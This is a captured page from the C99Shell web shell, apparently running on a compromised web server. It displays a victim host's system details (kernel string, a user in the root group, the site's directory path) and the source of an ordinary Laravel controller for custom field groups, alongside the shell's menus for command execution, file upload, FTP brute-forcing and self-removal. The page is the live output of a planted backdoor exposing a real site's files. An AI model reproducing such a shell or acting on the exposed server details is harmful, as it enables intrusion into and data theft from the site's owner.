!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/CustomField/Http/Controllers/   drwxr-xr-x
Free 28.37 GB of 117.98 GB (24.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomFieldGroupController.php (3.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\CustomField\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\CustomField\Entities\CustomFieldGroup;

class 
CustomFieldGroupController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return Renderable
     */
    
public function index($slug null)
    {
        try {
            if (
$slug) {
                if (! 
userCan('custom-field-group.update')) {
                    return 
abort(403);
                }

                
$group CustomFieldGroup::whereSlug($slug)->firstOrFail();
            }

            
$groups CustomFieldGroup::withCount('customFields')
                ->
oldest('order')
                ->
paginate(15);

            return 
view('customfield::group.index', [
                
'groups' => $groups,
                
'edit_group' => $group ?? null,
            ]);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @return Renderable
     */
    
public function store(Request $request)
    {
        if (! 
userCan('custom-field-group.create')) {
            return 
abort(403);
        }

        
$request->validate([
            
'name' => 'required|unique:custom_field_groups,name|max:255',
        ]);
        try {

            
CustomFieldGroup::create([
                
'name' => $request->name,
            ]);

            
flashSuccess('Group Created Successfully');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function update(Request $requestCustomFieldGroup $custom_field_group)
    {
        if (! 
userCan('custom-field-group.update')) {
            return 
abort(403);
        }
        try {

            
$custom_field_group->update([
                
'name' => $request->name,
            ]);

            
flashSuccess('Group Updated Successfully');

            return 
redirect()->route('module.custom.field.group.index');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function destroy(CustomFieldGroup $custom_field_group)
    {

        if (! 
userCan('custom-field-group.delete')) {
            return 
abort(403);
        }
        try {

            
$custom_field_group->delete();

            
flashSuccess('Group Deleted Successfully');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
sorting(Request $request)
    {
        try {
            
$fields CustomFieldGroup::all();

            foreach (
$fields as $field) {
                
$field->timestamps false;
                
$id $field->id;

                foreach (
$request->order as $order) {
                    if (
$order['id'] == $id) {
                        
$field->update(['order' => $order['position']]);
                    }
                }
            }

            return 
response()->json(['message' => 'Custom Field Group Sorted Successfully!']);
        } catch (
\Throwable $th) {
            
flashError();

            return 
back();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--